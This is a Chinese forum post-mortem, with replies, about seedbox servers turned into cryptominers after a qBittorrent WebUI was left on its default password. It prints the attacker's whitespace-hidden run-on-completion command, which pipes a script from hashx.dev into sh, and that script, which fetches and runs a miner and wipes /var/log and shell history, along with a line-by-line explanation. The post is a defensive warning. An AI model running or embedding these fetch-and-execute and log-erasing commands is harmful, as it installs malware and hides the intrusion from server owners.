为自己的愚蠢导致的被挖矿写一篇反思

全文总结:

使用任何需要密码或者口令的服务或者应用都需要设置一个强密码或者强口令,而不是为了偷懒省事或者是觉得没有意义而使用默认密码,同时更换默认端口和默认用户信息也是必要的行为,偷懒这种行为会让你养成不好的习惯并且终有一天会为这种行为付出代价,而我的代价则是两台服务器被植入了挖矿程序

1、问题发现
我的两台服务器都是PT使用的大盘鸡,相同的配置但是不同的IP段,但是前后购入时间有一些差异,在第一台服务器稳定使用一个月后我购入了第二台服务器,如果不是第二台服务器的异常情况我肯定会一直蒙在鼓里成为一只愚蠢的挖矿肉鸡。
大盘鸡的配置相对来说还是比较富余的,但是4H6G的性能跑一个qBittorrent-nox和Transmission是绰绰有余的,但是因为第一台服务器刷流的同一时间会涉及数十个种子的上传下载,合并的峰值并发可能会在300MB/S,日常也有100MB/S的上下传,实际上对机器的负载还是有一些压力的,所以第一台服务器的高负载和高占用实际上对我来说是合理的,我一直没放在心上,但是经常会有CPU占用导100%的情况导致宕机,不得不需要我手动重启服务器才行,这个时候其实会有一些怀疑,但是我一直怀疑的是服务器的配置太过于垃圾,只是为服务器设置了一个定时重启任务避免超载宕机服务中断,同时这个时候我查看了进程发现有个任务名为“netaddr”为主力占用,但是我点进去看了一下访问IP和端口都是PT连接的对象,我也没有起疑心。

除了负载较高以外,这台服务器的稳定性其实还是不错,没有因为商机的原因断线或者出过其他问题,而且读写和性价比的原因我便入手第二台用于保种,开机后还是安装常用PT软件,前两天还好,但是过了两天以后我发现这台服务器的CPU负载也会满载,这个时候就让我开始觉得不对劲,日常的保种实际上不会产生大流量的进出,所以对服务器的负载实际上是很低的,排查异常进程还是这个叫做“netaddr”的内容,当时以为是服务器的厂商预安装应用,便重新dd了系统,后续几天这个问题便没有出现,这里便告一段落。

但是又过了几天我发现我的qBittorrent的网页端登陆失败了,但是我并没有修改密码,使用的是默认密码“adminadmin”,最后在看网上的方法重置了密码后进入页面,当时里面出现了一个陌生的种子,但是很明显不是我下载的内容,于是我找了一下日志发现23.95.200.178这个IP登陆了我的WebAPI,下载了一个种子,并且设置了在下载种子或者下载种子完成后执行的命令:

                                                                                                    sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"

1be66de8248743fe2b7f29d5bb0b32cd.png
我于是登陆了web端查看了一下设置,第一眼的时候没看出有什么问题,但是开关被打开了,我又双击选中后发现了端倪,这个B在命令前面添加了长空格,导致在前端因为展示限制的原因看起来好像没有脚本,但是执行命令时空格又会被忽略,导致我每一次下载种子都会运行一遍脚本。
131a1135ca9a2789a8b23cf9e374bcb4.png
问题基本上排查出来了,由于我安装软件后并没有修改默认密码和端口导致被机器扫描到了并且进行登陆,然后执行命令让我成为了一台愚蠢的挖矿肉鸡,后续我对两台服务器都重新dd了系统,安装软件后修改了默认密码,现在已经解决了这个问题,系统负载状态也恢复了正常。
3d26e59eb5ad8cbb4c4180f4a97f71fa.png

2、脚本解析

其实解决了我的问题就差不多了,但是我比较好奇他的脚本具体实施内容和流程,于是做了一些简单的分析(主要是让kimi分析的),以下是一些相关的信息,因为这个也不算隐私信息就不打码了,大家注意别在自己服务器上执行就行。

扫描IP:23.95.200.178

域名信息:https://hashx.dev【IP:94.142.138.171】

域名无法访问,但是可以通过固定路径进行执行文件下载

下载脚本:


                                                                                                    sh -c "(curl -skL https://hashx.dev || wget --no-check-certificate -qO - https://hashx.dev) | sh"

脚本内容:


#!/bin/sh
RUN=$(ps -ef | grep 'netaddr' | grep -v 'defunct' | grep -v 'grep' | wc -l)
if ! [ $RUN -gt 0 ]; then
    (curl -ksL https://hashx.dev/netaddr -o /tmp/netaddr || wget --no-check-certificate -qO /tmp/netaddr https://hashx.dev/netaddr || lwp-download https://hashx.dev/netaddr /tmp/netaddr) >/dev/null 2>&1
    cd /tmp;chmod +x netaddr;./netaddr;rm -rf netaddr
fi
(if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm $logs; done; elif [ "$(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1
(rm $HOME/.bash_history) >/dev/null 2>&1
(history -c) >/dev/null 2>&1



这段脚本是一个Shell脚本,它执行了一系列的系统操作。下面是脚本的逐行解释:

  1. #!/bin/sh:这是一个shebang行,告诉系统这个脚本应该用哪个解释器来执行,这里是sh

  2. RUN=$(ps -ef | grep ‘netaddr’ | grep -v ‘defunct’ | grep -v ‘grep’ | wc -l):这行命令检查系统中是否有名为netaddr的进程正在运行。ps -ef列出所有进程,grep 'netaddr'过滤出包含netaddr的行,grep -v 'defunct'排除掉僵尸进程,grep -v 'grep'排除掉包含grep命令本身的行,wc -l计算行数,赋值给变量RUN

  3. if ! [ $RUN -gt 0 ]; then:如果RUN的值不大于0(即没有netaddr进程在运行),则执行以下操作。

  4. (curl -ksL https://hashx.dev/netaddr -o /tmp/netaddr || wget --no-check-certificate -qO /tmp/netaddr https://hashx.dev/netaddr || lwp-download https://hashx.dev/netaddr /tmp/netaddr) >/dev/null 2>&1:尝试使用curl下载https://hashx.dev/netaddr/tmp/netaddr,如果curl失败,则尝试使用wget,如果wget也失败,则尝试使用lwp-download。所有命令的输出都被重定向到/dev/null,即丢弃输出。

  5. cd /tmp;chmod +x netaddr;./netaddr;rm -rf netaddr:切换到/tmp目录,给netaddr文件添加执行权限,执行它,然后删除它。

  6. (if sudo -n true; then for logs in $(sudo find /var/log -type f); do sudo rm logs; done; elif [ "(id -u)" -eq 0 ]; then for logs in $(find /var/log -type f); do rm $logs; done; fi) >/dev/null 2>&1:这行命令检查是否有sudo权限,如果有,则使用sudo删除/var/log目录下的所有日志文件;如果没有sudo权限但当前用户是root(用户ID为0),则直接删除日志文件。所有命令的输出都被重定向到/dev/null

  7. (rm $HOME/.bash_history) >/dev/null 2>&1:删除当前用户的bash历史记录文件。

  8. (history -c) >/dev/null 2>&1:清空当前的命令历史。

脚本执行文件扫描结果:最后扫描了一下,确实这个执行文件是病毒信息,包括我一下载到本地就被QQ安全管家杀掉了
108c27eaf5b6798b5119138cd29a62aa.png
**以上,再次以个人亲身经历告诫大家一定记得修改默认密码,避免造成损失!!!
**

23 个赞

ssh 的默认密码? 一直用公钥登录是不是没有这个问题啊 root密码登录一次以后就不用了

这次被爆破的是qBittorrent的默认密码,ssh肯定还是会修改密码的,本来想着qBittorrent应该没啥问题,没想到还是被扫了

楼主的脚本解释好清晰啊,我是来学习如何写脚本的,已经执行完脚本系统会产生什么日志信息和记录。感谢 学习了

2 个赞

似乎是楼主的防火墙放开了qbittorrent的webapi端口,而且没有改账户和密码
就是说所有人都能登录楼主的qbittorrent

极度类似mysql没有关闭防火墙,并且使用简单密码

建议关闭防火墙,ssh隧道本地端口转发

通过 qbittorrent 可以直接执行系统命令行啊

不太了解,不过qbittorrent-nox的web中,这个选项好像可以执行echo命令成功

搞七捻三开发调优

#网络安全添加#病友移除

不是我hhhh,我找kimi帮我解释的,这种直接丢给ai输出很快的

是的,其实问题重点就是没有修改默认密码,如果改了密码其实他也进不来,或者说爆破成本也会提升很多

1 个赞

可以的,我实测这个脚本的链路其实是下载可执行脚本,下载到服务器后就g了

感谢分享,很好的复盘内容,学习了

SSH改端口,防火墙还是得加上,可以白嫖大善人来安全访问Web的服务

  1. 主机安装cloudflared,也就是CF的tunnel
  2. 配置tunnel到web服务,举例:web.example.comlocalhost:1234
  3. 利用Access的功能为web.example.com添加安全规则
  4. 使用web.example.com登录,这个地方会有两次校验,第一次是CF的验证,第二次才是服务本身的验证
    这样的话1234端口不会暴露出来,会相对安全些
2 个赞

直接使用AI生成内容发文字帖,违反论坛规定

弱口令 yyds

因为之前曝光过bug,所以现在不敢这么用了

我只有一部分是ai生成的内容解析,这并不违规吧

很好的思路,学习了